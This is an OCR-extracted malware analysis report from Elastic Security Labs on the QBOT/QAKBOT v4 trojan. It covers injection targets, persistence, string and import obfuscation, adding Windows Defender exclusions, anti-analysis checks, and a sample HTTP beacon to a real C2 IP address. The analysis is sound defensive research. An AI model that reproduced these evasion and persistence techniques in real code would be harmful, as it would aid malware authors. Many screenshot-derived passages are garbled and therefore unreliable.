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Wichtigste Erkenntnisse

« Elastic Security Labs is releasing a QBOT malware analysis report from a recent campaign
 This report covers the execution chain from initial infection to communication with its command and control
containing details about in depth features such as its injection mechanism and dynamic persistence mechanism.

o From this research we produced a YARA-Regel, configuration-extractor, and indicators of compromises (IOCs)
Prdaambel

As part of our mission to build knowledge about the most common malware families targeting institutions and individuals,
the Elastic Malware and Reverse Engineering team (MARE) completed the analysis of the core component of the banking

trojan QBOT/QAKBOT V4 from a previously reported campaign.

QBOT — also known as QAKBOT — is a modular Trojan active since 2007 used to download and run binaries on a target
machine. This document describes the in-depth reverse engineering of the QBOT V4 core components. It covers the

execution flow of the binary from launch to communication with its command and control (C2).

QBOT is a multistage, multiprocess binary that has capabilities for evading detection, escalating privileges, configuring
persistence, and communicating with C2 through a set of IP addresses. The C2 can update QBOT, upload new IP addresses,

upload and run fileless binaries, and execute shell commands.

As a result of this analysis, MARE has produced a new yara rule based on the core component of QBOT as well as a static
configuration extractor able to extract and decrypt its strings, its configuration, and its C2 IP address list.

For information on the QBOT configuration extractor and malware analysis, check out our blog posts detailing
this:

« QBOT-Konfigurations-Extraktor
+ QBOT Attack Pattern

Ablauf der Ausfiihrung

This section describes the QBOT execution flow in the following three stages:

« First Stage: Initialization
« Second Stage: Installation

o Third Stage: Communication

Phase 1

W haionrs Lo

Regswia2 exe

First stage execution flow
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The sample is executed with the regsvr32.exe binary, which in turn will call QBOT’s DIIRegisterServer export:
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55

IE| Propriétés de : regsvr32.exe (1480) — ]

General Statistics Performance Threads Token Modules Memory Environment Handles GPU Comment

Name Base address Size Description

AcLayers.dll 0x6af40000 2,53MB  Windows Compatibil
advapi32.dil 0x76120000 504kB Advanced Windows
apphelp.dil 0x74200000 624kB Fichier DLL du dient
berypt.dil 0x76b50000 100kB Windows Cryptogra|
beryptprimitives.dil 0x761b0000 392kB Windows Cryptogra)

c2ba065654f136 12ae63bca7f972ea9 1c6fe9729 Icacaaa3a28a180fb 1912b3a.dll 0x10000000 572kB

regsvr32.exe loading QBOT and calling its DIIRegisterServer export.

After execution, QBOT checks if it’s running under the Windows Defender sandbox by checking the existence of a specific

subdirectory titled: C\INTERNAL\__empty , if this folder exists, the malware terminates itself:

[ebp+C]iL "C:\\INTERNALYY  empty”

8945 0C mov dword ptr ss:[ebp+C],eax
FF15 70810410 call dword ptr ds:[<&GetFileAttributesw-]
B83F8 FF cmp T

NTERNAL\__empty”

QBOT checking if it is running and Windows Defender sandbox.

The malware will then enumerate running processes to detect any antivirus (AV) products on the machine. The image below

contains a list of AV vendors QBOT reacts to:

; enum ctf::AV::Id, mappedto 265,

ctf::Av: kMNorton =1

ctfi AV kAVGE = 2

{5 o A T kMicrosoftSecurityEssential = 4
ctf::AV::Id: :kMcafee =8

ctfi AV ::kKaspersky = 18h
ctfiiAV::Id: :kEsetNode32 = 2@8h
ctf::AV::Id: :kBitDefender = 48h
chtf: AV kfwvast = 88h

ctf::Av kTrendMicro = 1@8h
ctf::AV:i:Id::kSophos = 286h
ctf::AV::Id: :kFSecure = 488h

ctfz :AV:: kilebRoot = B&éh

ctf: AV kComodo = 1@@eh

ctfi AV kBytefence = 2eaah
ctf::AV::Id: :kMalwareBytes = 4886h
ctf::AV::Id: :kFortinet = 8886h
ctf::AV::Id: :kDoctorkeb = 18@88h

Enum of vendors QBOT can detect.
AV detection will not prevent QBOT from running. However, it will change its behavior in later stages. In order to generate
a seed for its pseudorandom number generator (PRNG), QBOT generates a fingerprint of the computer by using the
following expression:
**fingerprint = CRC32(computerName + CVolumeSerialNumber + AccountName)**
If the “C:” volume doesn’t exist the expression below is used instead:

**fingerprint = CRC32(computerName + AccountName)**

Finally, QBOT will choose a set of targets to inject into depending on the AV's previously detected and the machine

architecture:

\
--- | | AV detected & architecture | Targets | | BitDefender | Kaspersky | Sophos | TrendMicro | & x86 |

%SystemRo0t%\SysWOW64\mobsync.exe %SystemRoot%\SysWOW64\explorer.exe | | BitDefender | Kaspersky | Sophos |

TrendMicro & x64 | %SystemRoot%\System32\mobsync.exe%SystemRoot%\explorer.exe%ProgramFiles%\Internet
Explorer\iexplore.exe | | Avast | AVG | Windows Defender & x86 |
%SystemRo0t%\SysWOW64\OneDriveSetup.exe%SystemR00t%\SysWOW64\msra.exe%ProgramFiles(x86)%\Internet
Explorer\iexplore.exe | | Avast | AVG | Windows Defender & x64 |
%SystemRoot%\System32\OneDriveSetup.exe%SystemRoot%\System32\msra.exe | | x86 |
'%SystemRoot%\explorer.exe%SystemRoot%\System32\msra.exe%SystemRoot%\System32\OneDriveSetup.exe | | x64 |
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%SystemRo0t%\SysWOW64\explorer.exe%SystemRoot%\SysWOW64\msra.exe%SystemR00t%\System32\OneDriveSetup.exe
\

QBOT will try to inject itself iteratively, using its second stage as an entry point, into one of its targets— choosing the next

target process if the injection fails. Below is an example of QBOT injecting into explorer.exe.

518 n
fmation Onner. Group, DACL. SACL, Label Atitte, Process Tt Label,Ox

SUCCESS

/% Process Hacker [DESKTOP-7S1K2PC\An]+ -

Hacker View Tools Users Help

% Refresh {3 Options ‘ #8 Find handles or DLLs  24% System information | O&@E X explorer
Processes  Services Network Disk

Name PID  CPU I/Ototal.. Privateb.. Username Description
¥ r explorer.exe 2552 0,15 65,75MB DESKTOP-751K2PC\Arx  Explorateur Windows
i~ explorer.exe 1492 455MB DESKTOP-7S1K2PC\Arx  Explorateur Windows
7 Propriétés de: explorer.exe (1492] — [m] p l>
General Statistics Performance Threads Token Modues Memory Environment]
B explorer.exe (1492) (0x3000000 - 0x308000) - o
[Aride free regions
00000000 a 52 90 00 03 00 00 00 04 00 00 00
00000010 b8 00 00 00 00 00 00 00 40 00 00 00
Latnin e Show Cronctan | Leg| 00000020 00 00 00 00 00 00 00 00 00 00 00 00
» 0x2d60000 Mapped 128 R 00000030 00 00 00 00 00 00 00 00 00 00 00 00
> 0x2470000 Private 8k8 RW 00000040 Oe 1f ba Oe 00 b4 09 cd 21 be 01 4c
> 0x2d80000 Private 8k RW 00000050 €9 73 20 70 72 €f 67 72 61 €d 20 63
> 0x2dd0000 Mapped 218 R 00000060 74 20 62 €5 20 72 75 6 20 €9 €2 20
00000070 €d 6f €4 65 2e 0d 0d 0Oa 24 00 00 00
> 0x24e0000 M €018 R C:\Windos
4 uxx;ouuu H’“’ed et c:“;:dn"’t 00000080 5 de d0 S8 al bf be Ob al bf be Ob
& gyt +\WndowsH 00000030 1a ca ba 0a ab bf be Ob 14 ca ba 0a
% Doan0o00n Peivais 2 B Les 00000020 14 ca bd 0a a3 bf be (b bS dd ba Oa
v 0x3000000 Mapped S72k8 RWX 00000000 14 ca bf 0a a3 bf be Ob bS d4 bé Oa
0x3000000  Mapped: Com... 5728 RWX 000000c0 bS d4 bf Oa ba bf be 0b al bf bf Ob
> 0x3090000 Mapped 8B R 00000040 24 B3 bl 0b a0 bf be b la ca bb Oa

QBOT injecting itself into explorer.exe

Phase 2

___,| HKU(SID}Software
Wicrosm{RANDOM]

. |%APPDATAY%Wicrosoft
\[RANDOM]

Second stage execution flow

QBOT begins its second stage by saving the content of its binary in memory and then corrupting the file on disk:
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e CFF Explorer VIIl - [¢2ba065654f136120e63bca7f§72ea91c6e97291caenaa3a28a180fb1912b3a.dil] - O
File Settings ?
P
- Property Value I
& (8] Fite: m‘f‘mﬁ File Norme C:\Users\And\Desktop\c2ba06565413612ae63bca 972201 cbfedT291 cae
8a180fb 1912b3a dil File Type Portable Executable 32
— (8 Dos Header = :
@n File Info Error: invahid PE file,
@ Fie Header File Size 4,00 KB (4096 bytes)
(3 Optional Header :
PE Siz 543,00 KB (356032 by
3 Data Directories ] < { ytes
L (@ Section Headers [x] Created Friday 05 October 1601, 10.42.2
— % Address Converter Modified Thursday 04 August 2022, 11.24.06
— ), Dependency Walker
— &, Hex Editor Accessed Thursday 04 August 2022, 11.25.11
— ) identifier MD5 ECF3CTAFAD3B79BFIFDAGE44629A2688
— A, import Adder
| ke Piasiontilis: SHA-1 81FF2AC6CDCFD2A914689F7142561419F 1946520

QBOT corrupting its binary file

The malware then loads its configuration from one of its resource sections:

2e63bcaTf972ea01c6fed7281 cacaaa3a2Bal20fb1812b3a dil] - [m) X

/' c2balE65654113612ae63bca7fI72e X
=3 RCData
BB e e

19 "BABA” - lang:0]
1) "EBBA” - [lang:0]

Offset 0 4 2 3 4 %5 & 7 8 8 h BT D EFE Ascii

00000000 | 5D 23 D1 11 12 E6 15 7D 74 97 6F EC B2 3C 74 66 1#N00 0 FtHoifctE
0o0ooolo | 03 F5 D8 1B 23 D9 18 73 37 9C C9 OF B4 E1 19 C5 03E0400=71ED “40 4
o0nono2o | 9B 51 33 36 18 A0 A3 C1 07 10360 £40

310 30 3D 41|41 OD OA 333D 31 36 34[39 36 36 30|H0=AA..3=1649660
36 37 39 OD|0A 30 3D 41|41 0D OA 333D 31 36 34(679..0=AA,,.3=164
39 36 36 30|36 37 39 0D|0A AB AB AB|AB AB AB AB|9660679..xzeaca«

003DO1ED
003D0O1FO
00300200

QBOT loading its configuration from resource

QBOT also has the capability to load its configuration from a .cfg file if available in the process root directory:

B Process Monitor - Sysintemals: www.sysintemals.com

File Edit Event Fiter Tools Options Help

PHRIINREIYHAO|& £ 2 /|8 a2 oMl

Time ... Process Name. PID Operation Pah Resut Detal
1135, meplreroe 2076 s Createfle c NAME NOT R
1135, meloeree 2076 s Createle NAME NOT R

QBOT trying to load its configuration from a file

After loading its configuration, QBOT proceeds to install itself on the machine- initially by writing its internal configuration

to the registry:

I Process Monitor - Sysintemals: www.sysintemals.com
Fle tot Gt Pt Took Optons Hep
PERIREIYHAO &I L/ HAD LW

Twe.. PrcssMeme P Opeston

135 peskwes 207 BRegsaiske 55 Type: REG 81
1135 peckewes 207 [ Regaiake Success Type: REG_BINA
135 peclwes 2076 [ RegSaVabe success Tipe: REG_BINA
135 peckwes 207 B RegSaVabe success Type: REG_BINA
135 peckwes 207 [ RecSavake ss Type: RES_BINA
135 necwes 206 [ RegSavake success Type: REG_BINA
1135 iy ko 2076 B RegSevake success Type: REG_BINA
135 Geclwes 207 §Regsalate 55 Type REG_BINA
136 neckwes 207 B RegSaVate success Trpe: REG_BINA
N necwes 2076 [ RegSavake success Type: REG_BINA
1139 peckwes 207 B RegaVake success Type: REG_BINA
M2 peckwes 207 [ RegsaVake success Tipe: REG_BINA

QBOT writing its configuration to the registry

Shortly after, QBOT creates a persistence subdirectory with a randomly-generated name under the
% APPDATA %\Microsoft directory. This folder is used to drop the in-memory QBOT binary for persistence across reboot:

I Process Monitor - Sysinternals:www.sysinternals.com

File Edit Event Fiter Tools Options Help

BELNRE YA® & £ L2/ Ha2E

Time ... Process Name PID. Operation Path
2180 s CreateFie C:\Users\Ar\AppData\Roaming \Mcrosoft \Wuhys NAME NOT FOUND Desred Access: Read Atrbutes. Di.
C:\Users\Anx\AppData\Roaming \Microsoft \Ways SUCCESS Desred Access: Read Data/List D,
C:\Users\Arx\AppData\Roaming \Mcrosoft \Wuhys

C \Users\ox\pp Data\Roaring iy

QBOT creating its persistence folder

At this point, the folder will be empty because the malware will only drop the binary if a shutdown/reboot event is detected.

This “contingency” binary will be deleted after reboot.

QBOT will attempt the same install process for all users and try to either execute the malware within the user session if it
exists, or create a value under the CurrentVersion\Run registry key for the targeted user to launch the malware at the next
login. Our analysis didn’t manage to reproduce this behavior on an updated Windows 10 machine. The only artifact

observed is the randomly generated persistence folder created under the user % APPDATA %\Microsoft directory:
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; enum ctf::AV::Id, mappedto 265, bitfield
ctf::AV::Id: :kNorton =1

ctf::AV::Td: :kAVG = 2

ctf::AV::Id: :kMicrosoftSecurityEssential = 4
ctf::AV::Id: :kMcafee =8

ctf::AV::Id: :kKaspersky = 18h
ctf::AV::Id: :kEsetNode32 = 28h
ctf::AV::Id: :kBitDefender = 4bh
ctf::AV::Id: :kAvast = 88h

ctf::AV::Id: :kTrendMicro = 1@8h
ctf::AV::Id: :kSophos = 286h

ctf::AV::Id: :kFSecure = 466h

ctf::AV::Id: :kilebRoot = B@eh

ctf::AV::Id: :kComodo = 18@@h

ctf::AV::Id: :kBytefence = 28@6h
ctf::AV::Id::kMalwareBytes = 4886h
ctf::AV::Id: :kFortinet = 38@6h
ctf::AV::Id: :kDoctorieb = 18888h

Persistence folder is empty when QBOT is running

QBOT finishes its second stage by restoring the content of its corrupted binary and registering a task via Schtask to launch a
QBOT service under the NT AUTHORITY\SYSTEM account.

The first stage has a special execution path where it registers a service handler if the process is running under the SYSTEM
account. The QBOT service then executes stages 2 and 3 as normal, corrupting the binary yet again and executing

commands on behalf of other QBOT processes via messages received through a randomly generated named pipe:

Opentiors  Brosess e

pat WSO schssks e
Duston: 000G

o a3

Semmanding < fGreae /T, st /v regei2 4 5 ONGE /Z/5T T84 /6T 1820

1% ProcessHacker.exe 5684 2,30 15,03 MB  DESKTOP-7S1K2PC\Arx  Process Hacker

CPU Usage: 15.06% Physical memory: 1,74 GB (43.51%) Processes: 121
1 Propriétés de: explorer.exe (6016)

General Statistics Performance Threads Token Modules Memory Environment F

[ Hide unnamed handles
Type N Name
Key HKLM\SYSTEM\ControlSet001\Control\Session Manager
File C:\Windows\System32\fr-FR \mswsock. dll.mui
File \Device\Nsi
File \Device \NamedPipe \{0A934038-804C-42AA -AFCE-60B77B4AD66D}

QBOT running as SYSTEM service

_

Stufe 3

Third stage execution flow

QBOT begins its third stage by registering a window and console event handler to monitor suspend/resume and
shutdown/reboot events. Monitoring these events enables the malware to install persistence dynamically by dropping a copy

of the QBOT binary in the persistence folder and creating a value under the CurrentVersion\Run registry key:
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Pagng 0 Smcrooo

;lg Process Hacker [DESKTOP-7S1K2PC\ANX]+

Hacker View Tools Users Help

%% Refresh 3 Options ‘ #8 Find handles or DLLs & System information | OE X

Processes Services Network Disk

explorer

Name PID CPU I/Ototal.. Privateb.. Username Description
¥ explorer.exe 2552 0,15 65,75MB DESKTOP-7S1K2PC\Amx  Explorateur Windows
i~ explorer.exe 1492 4,55MB DESKTOP-751K2PC\Amx  Explorateur Windows
7 Propriétés de : explorer.exe (1492 u] I
I
General Statistics Performance Threads Token Modues Memory Environment]
7 explorer.exe (1492) (0x3000000 - 0x308f000) - o
[AHide free regions
| ooooo000 [Ba sa S0 00 03 00 00 00 04 00 00 00
00000010 b8 00 00 00 00 00 00 00 40 00 00 00
Latnin e Show Cronctan | Leg| 00000020 00 00 00 00 00 00 00 00 00 00 00 00
» 0x2d60000 Mapped 128 R 00000030 00 00 00 00 00 00 00 00 00 00 00 00
» 0x2d70000 Private 818 AW 00000040 Oe 1f ba Os 00 b4 09 cd 21 be 01 4c L.t
> 0x2d80000 Private 318 RW 00000050 €9 73 20 70 72 6f 67 72 61 6d 20 €3 progeam canno
» Ox2dd0000 Mepped 268 R 00000060 74 20 62 €5 20 72 75 6e 20 69 6e 20 44 4f 53 20 ¢ De run in DOS
> 0x2de0000 Mapped 20k R C:\Windows\f EIEIEID[IEIZEI &d ef 64 Ef 2e 0d 0d Oa 24 00 00 00
» Ox2df0000 Mapped 8k R Ci\windowsg 00000080 e5 de d0 58 al bf be Ob al bf be 0b
. " : 00000030 1a ca ba 0a ab bf be Ob 14 ca ba 0a
o . 0486 RW B 00000020 14 ca bd 0a a3 bf be Ob bS d4 ba Oa
'V 0x3000000 Mapped 572k8 RWX 00000080 14 ca bf 0a a3 Bf be Ob bS dé bE Oa
0x3000000 Mapped: Com... 572k6 RWX 000000c0 b5 d4 DE 0a ba bf be Ob al bf bf Ob
» 0x3090000 Mapped 8k8 R 00000040 a4 b3 bl Ob a0 B be OB la ca bb 0a

QBOT install persistence when suspend/resume or shutdown/reboot event occurs

At reboot, QBOT will take care of deleting any persistence artifacts.

The malware will proceed to creating a watchdog thread to monitor running processes against a hardcoded list of binaries

every second. If any process matches, a registry value is set that will then change QBOT behavior to use randomly generated

IP addresses instead of the real one, thus never reaching its command and control:

frida-winjector-helper-32.exefrida-winjector-helper-

64.exeTcpdump.exewindump.exeethereal .exewireshark.exeettercap.exertsniff.exepacketcapture.execapturenet.exeqak_proxy

QBOT will then load its domains from one of its .rsrc files and from the registry as every domain update received from its

C2 will be part of its configuration written to the registry. See Extracted Network Infrastructure in Appendix A.

Finally, the malware starts communicating with C2 via HTTP and TLS. The underlying protocol uses a JSON object

encapsulated within an enciphered message which is then base64-encoded:

HKU\SIDSoftware

WMicrosR{RANDOM]

%APPDATA% Wicrosoft

[RANDOM]

> regsvri2.exe

QBOT message format

Below an example of a HTTP POST request sent by QBOT to its C2:

Accept: application/x-shockwave-flash, image/gif, image/jpeg, image/pjpeg, */*
Content-Type: application/x-www-form-urlencoded

User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko
Host: 181.118.183.98

Content-Length: 77

Cache-Control: no-cache
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qx1bjrbj=NnySaFAKLt+YgjH3UET8U6AUWTILg5126zC+ufeAjt4amZAXkIyDup74MImUA4do4Q==

Through this communication channel, QBOT receives commands from C2 — see Appendix B (Command Handlers). Aside
from management commands (update, configuration knobs), our sample only handles binary execution-related commands,
but we know that the malware is modular and can be built with additional features like a VNC server, a reverse shell server,

proxy support (to be part of the domains list), and numerous other capabilities are feasible.

Features

Mersenne Twister Random Number Generator

QBOT uses an implementation of Mersenne Twister Random Number Generator (MTRNG) to generate random values:

int _ cdecl MARE::MTRNG::Init{uint32 t seed, ctf::MTRNGData *p_mtrng_data)

size t nj /f ecx
int result; // eax

p_mtrng_data->field @[0] = seed;
p mtrhg data->n = 13

-0~ B A Y T S VYR SR
=)

do
{
19 n = p_mtrng data-»n;
11 result = n + x6C078965 * (p_mtrng_data-»field @fn - 1] * (p_mtrng_data-»field @[n - 1] »> 38));
12 p_mtrng_data->field @[n] = result;
13 Hp_mtrng_data-:n;

¥
15 | while ( p mtrng data->n < 624 };
16 return result;
17 [}

QBOT's Mersenne Twister Random Number Generator implementation

The MTRNG engine is then used by various functions to generate different types of data, for example for generating registry
key values and persistence folders. As QBOT needs to reproduce values, it will almost always use the computer fingerprint

and a “salt” specific to the value it wants to generate:

29 MARE: :GenerateRandomGUIDString(

38 p_injected process_helle event guid,

31 g p_engine-»computer_fingerprint_crc32 + ctf::Salt::kInjectedProcessHelloEvent);
2n

QBOT generating random event name with fixed seed and salt
Verschleierung von Strings

All QBOT strings are XOR-encrypted and concatenated in a single blob we call a “string bank”. To get a specific string the
malware needs a string identifier (identifier being an offset in the string bank), a decryption key, and the targeted string
bank.

GetStringAux function prototype.

As this sample has two string banks, it has four GetString' functions currying the string bank and the decryption key
parameters: One C string function and one wide string function for each string bank. Wide string functions use the same
string banks, but convert the data to utf-16.

Page 7 of 15


https://www.sciencedirect.com/topics/computer-science/mersenne-twister

https://www.elastic.co/de/security-labs/gbot-malware-analysis

W regmad.cun - D 1480 -
P Ferire Dicgew Teog P Fawrs Opsum At (L
oE 0 te 2y tale o #fx#

E Theead: Main Theead 4652 - <324bg

ie

Bov  [Dowmad Tnoes % Punsdanit 8 Seciommémae () P dapods lof soipt @ symbcks € Sorve 4/ Réfences W Thveah M Handks  §7 Troe
T " : oTRe ]
e
T B
e
HH &2 B ebp
[ Propriétés de : regsvr32.exe (1480) - m}

General Statistics Performance Threads Token Modules Memory Environment Handles GPU Comment

Name Base address Size Description
AcLayers.dll 0x6af40000 2,53MB  Windows Compatibil
advapi32.dil 0x76120000 504kB Advanced Windows
apphelp.dil 0x74200000 624kB Fichier DLL du dient
berypt.dil 0x76b50000 100kB Windows Cryptogra|
| beryptprimitives.dl 0x761b0000 392kB Windows Cryptogra)

c2ba065654f136 12ae63bca7f972ea9 1c6fe9729 1cacaaa3a28a180fb 1912b3a.dl  0x10000000  572kB
QBOT calling GetString function

945 0C mov dword ptr ss:[febp+C],eax C:\\INTERNALYY empty"
FF15 70810410 call dword ptr ds:[<&GetFileAttributesw>]
83F8 FF cmp eax,FFFFFFFF INTERNALY \_efv:pty" .

GetString function currying GetStringAux with string bank and key parameters

See Appendix C (String Deciphering Implementation).
Import obfuscation

QBOT resolves its imports using a hash table:

3 enum ctf::AV::Td, mappedto 285, bitfield
ctf::AV::iId: :kNorton =1
ctf::AV::Id::kAVG = 2

ctfi AV Id: ikMicrosoftSecurityEssential = 4
ctf::AV::Id: :kMcafee =8

ctf::AV::Id: :kKaspersky = 18h
ctf::AV::Id: :kEsetNode32 = 28h
ctfi:AV::Id: :kBitDefender = 48h
ctf::AV::Id: :kfvast = 88h

ctf::AV::Id: :kTrendMicro = 186h
ctf::AV::Id::kSophos = 286h

ctfi AV Id: ikFSecure = 486h

ctf::AV::Id: :kllebRoot = B@8h

ctf::AV::Id: :kComodo = 1866h

ctf::AV::Id: :kBytefence = 2@aeh
ctfi:AV::Id::kMalwareBytes = 4@888h
ctf::AV::Id: :kFortinet = 8866h
ctf::AV::Id: :kDoctorileb = 18668h

QBOT calling GetApi function

1:GetAPI(uint32 t *p_api_hashes; size t size; uint32_t library_id)

GetApi function prototype

The malware resolves the library name through its GetString function and then resolves the hash table with a classic
library’s exports via manual parsing, comparing each export to the expected hash. In this sample, the hashing comparison

algorithm use this formula:

**CRC32(exportName) XOR @0x218fe95b == hash**

Resource obfuscation

The malware is embedded with different resources, the common ones are the configuration and the domains list. Resources
are encrypted the same way: The decryption key may be either embedded within the data blob or provided. Once the

resource is decrypted, an embedded hash is used to check data validity.

33 | if ( p deciphering key )

32 MARE: :ConfigurationSerializerDeserializer: :SetKey(p_configuration parser, p_deciphering key);
35

36 | if ( rsrc_size >= @x28 )

37

38 [/ ctf > Key is contained in the rsrc.

39 _result = MARE::DecipherRsreData(_p_rsrc_data, @x14u, _p_rsrc_data + 28, rsrc_size - 28, *pp_data);

48

41 if ( (_ result & @x30000000) == @ )

42 goto LABEL 17;

43

44 g shal => Key is provided.

45 guration_parser-rkey size;

46

47

43 _result = MARE::DecipherRsrcData(p_configuration parser-key, size, _p rsrc_data, rsrc_size, “pp.data);
4a if ( ( result & @xB0000000) == @ )

58 goto LABEL 17;

QBOT decrypting its resource with embedded or provided key

Page 8 of 15



https://www.elastic.co/de/security-labs/gbot-malware-analysis

See Appendix D (Resource Deciphering Implementation).

Cyrillic keyboard language detection

At different stages, QBOT will check if the computer uses a Cyrillic language keyboard. If it does, it prevents further

execution.

1™ Process Hacker [DESKTOP-7S1K2PC\Amx]+

Hacker

View Tools

Users  Help

7%, Refresh 22 Options ‘ #f Find handles or DLLs &* System information | O&F X
Processes  Services Network Disk

explorer

Name

V¥ 1 explorer.exe
1 explorer.exe

P

General Statistics Performance Threads Token Modules

Hide free regions

Base address
» 0x2060000
» 0x2d70000
» 0x2d80000
» 0x2dd0000
> 0x20e0000
> 0x2df0000
» 0x2600000
v 0x3000000

0x3000000
> 0x3090000

explorer.exe (1492]

Private b...

65,75MB  DESKTOP-7S1K2PC\AmX
455MB  DESKTOP-7S1K2PC\Anx

User name

Description
Explorateur Windows
Explorateur Windows

Type
Mapped
Private
Private
Mapped
Mapped
Mapped
Private
Mapped

Mapped: Com...

Mapped

b8
o0
o0
Oe
&
T4
&d
&5
la

a4

PID CPU I/Ototal..
2552 0,15
1492
Memory  Environment]
ol 00000010
Sze Protect... Use 0900030
128 R 00000030
8k8 RW 00000040
8k RW 00000050
28 R 00000060
28 R Ciiwindons\] 0000970
8k R Ci\Windows\ 0000
ROMINS: RN FEB 00000020
57248 RWX 0000000
572k8 RWX 000000c0
88 R 0000000

Set of languages QBOT is looking to stop its execution

AVG/AVAST special behavior

AVG and Avast share the same antivirus engine. Thus if QBOT detects one of those antivirus running, it will also check at

the installation stage if one of their DLLs is loaded within the malware memory space. If so, QBOT will skip the installation

phase.

00000000 Bd Sa

00
00
00
1
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de
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90
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bd
bf
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00
00
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00
e
0
(33
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0a
b

03
00
00
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20
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00
00
00
00
bd
&f
72
od

00
00
00
00
08
&7
75
od

2l bf be
ab bf be
a3 bf be
a3 bf be
ba bf be
a0 bf be

00
00
o0
o0
cd
72
e
oa
ob
ob
ob
ob
ob
b

B explorer.exe (1492) (0x3000000 - 0x308f000)

04
40
00
00
21
61
20
24
al
14
bS
b5
al
la

00 00 00
00 00 00

00 00 00 :
b8 01 4c cd 21 54 68 .
&d 20 €3 €1 6e 6e 6f
€9 Ge 20 44 4f 53 20

bf be 0b al
ca ba 0Da aé
d4 ba 0a a8
dé b8 0a a3
bf bf Ob b% bd be 0b .
ca bb 0a

HKU\SIDSoftware
WicrosM{RANDOM]

Y%APPDATAY Wicrosoft
[RANDOM]

QBOT checking if AVG/AVAST has hooked its process

Windows Defender special behavior

If QBOT is running under SYSTEM account, it will add its persistence folder to the Windows Defender exclusion path in

the registry. It will also do this for the legacy Microsoft Security Essential (MSE) exclusion path if detected.
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44 | if ( ::g_p engine-»process_account_type == ctf::ProcessAccountType::SYSTEM )

detected av = ::g_p engine->detected av;
if ( (detected av & ctf::AV::Id: :kMicrosoftSecurityEssential) =0 )

U

MARE : : AddFolderToMSEExclusion( p w per

der_path);
else if ( detected av )

goto LABEL 22;

MARE : : AddFolderTolWindowsDefenderExclusion(_p w_persi

tence_folder_path);

U ) T e

56 T

QBOT adding its persistence folder to Windows Defender and MSE exclusion paths

Exception list process watchdog

Each second, QBOT parses running processes looking for one matching the hardcoded exception list. If any is found, a
“fuse” value is set in the registry and the watchdog stops. If this fuse value is set, QBOT will not stop execution— but at the

third stage, the malware will use randomly generated IP and won't be able to contact C2.

void _ stdcall ctf::callback: :BlackListedRunningProcessiatchDog()

2

3| if ( MARE::GetUInt32ValueFromGlobalRegistryConfigurationd(ctf: :RegistryValueId: :kDolotCheckForBlackListedRunningProcess) == -1 )
4l {

5

5 while ( MARE::IsRunningProcessesBlackList() <= @ )

7 g p_api kernel32->SleepEx(1808u, 1u);

8

g MARE: :SetUInt64valusToslobalRegistryConfiguration(ctf: :RegistryValueld: :kBlackListedRunningProcessbetected, 1u);

10

1l

&

Watchdog thread setting fuse if any Exceptionlisted process is detected

I[QBOT using randomly generated IP address if fuse is set]/assets/images/qbot-malware-analysis/1gbot.png)
QBOT process injection
Second stage injection

To inject its second stage into one of a hardcoded target, QBOT uses a classic CreateProcess (Erstellen) ,
WriteProcessMemory , ResumeProcess DLL injection technique. The malware will create a process, allocate and write the
QBOT binary within the process memory, write a copy of its engine, and patch the entry point to jump to a special function.
This function performs a light initialization of QBOT and its engine within the new process environment, alerts the main

process of its success, and then execute the second stage.
I[QBOT second stage injection]/assets/images/qbot-malware-analysis/2gbot.png)

I[QBOT injection entry point]/assets/images/qbot-malware-analysis/3gbot.jpg)
Injecting library from command and control

QBOT uses the aforementioned method to inject libraries received from C2. The difference is that as well as mapping itself,

the malware will also map the received binary and use a library loader as entry point.

I[QBOT DLL loader injection]/assets/images/qbot-malware-analysis/4gbot.jpg)

25 | MARE::ManuallyloadImports(g p engine-»p_gbot dl1l);

26 ::InitializeGlobalHeap();

27 | MARE::InitializeGlobalSequenceNumber();

28 | MARE::InitializeGlobalAPIse();

29 | MARE: :UpdateGlobalEngine();

38

31 | p:w_gbo = MARE::Alloc@(@x28Au);

A28 AFTE e e N I _path }

x| [

34 Istrepynki(p w gbot dll full path, g p engine-»w gbot full path, 261);
35

36 i MARE: :LoadD11AndCallEP(g p d11, g dl1_size, p w_gbot_dll full path, &Fp EP);

QBOT DIl loader entrypoint
Multi-user installation

Part of the QBOT installation process is installing itself within others users’ accounts. To do so, the malware enumerates
each user with an account on the machine (local and domain), then dumps its configuration under the user’s
Software\Microsoft registry key, creates a persistence folder under the users’ % APPDATA %\Microsoft folder, and finally
tries to either launch QBOT under the user session if the session exist, or else creates a run key to launch the malware when

the user will log in.

Page 10 of 15



https://www.elastic.co/de/security-labs/gbot-malware-analysis

int __cdecl MARE::InstallAndRunQbotForOneUser(wchar_t *p_w_account_name, PSID p_target_sid, ctf::struc_29 *p_struc_29)

1
3| WCHAR p_w_running_cmdline[2661; // [
4| uint32_t argBa; // [esp+2ish] [eb

B

6| if ( g_p_api_advapi32->Equalsidstub(p target sid, g p engine->p_process_token_user->User.Sid) )

7 return 8;

8

a| if ( MARE::InstallQbotForOneUser(p target sid, p p_struc_29-3p_struc_22, p w_running cmdline, 8argga) )
1e return

11| ++p_struc_29->n_install_achieved;

13| if ( MARE::CreateProcessAsUserIflLogged(p w
14 || MARE::RegistryCreateStartupRunValue(p

16 return 8;
17| F

18 else

28 return -2;

22

QBOT installation & run for one user
Dynamic persistence

QBOT registers a window handler to monitor suspend/resume events. When they occur, the malware will install/uninstall
persistence.

I[QBOT window handler registration]/assets/images/qbot-malware-analysis/7qbot.png)
I[QBOT window handler catching suspend/resume event]/assets/images/qbot-malware-analysis/8qbot.png)

QBOT registers a console event to handle shutdown/reboot events as well.

nt M locConseleAndSetlonsoledandlerToDetectShutdownAndDoPersistence()

N

if ( g_p_engine->process_account_type != ctf::ProcessAccountType::SYSTEM || MARE::IsSessionInteractive() )
return -1;

g_p_api_kernel32-»AllocConsole();
g_p api kernel32-»SetConsoleCtrlHandler (MARE::callback: :ConsoleDetectShutdownAndDoPersistence, 1);
return @;

[ IR

=]

QBOT registering console handler

1 jint _ stdcall M :callback: :ConsoleDetectShutdownAndDoPersistence(uint32 t
2

3 pe 1= CTRL_LOGOFF_EVENT )

&

5 if ( ctrl type '= CTRL_SHUTDOWN_EVENT )

& return @;

7 MARE: :WriteQbotAndQbotUpdateOnDiskAndCreateSchtasks();

sl

9 return 1;

18 [}

QBOT console handler catching shutdown/reboot event
Command and control public key pinning

QBOT has a mechanism to verify the signature of every message received from its command and control. The verification
mechanism is based on a public key embedded in the sample. This public key could be used to identify the campaign the
sample belongs to, but this mechanism may not always be present.

I[QBOT command and control message processing]/assets/images/qbot-malware-analysis/1gbot.png)

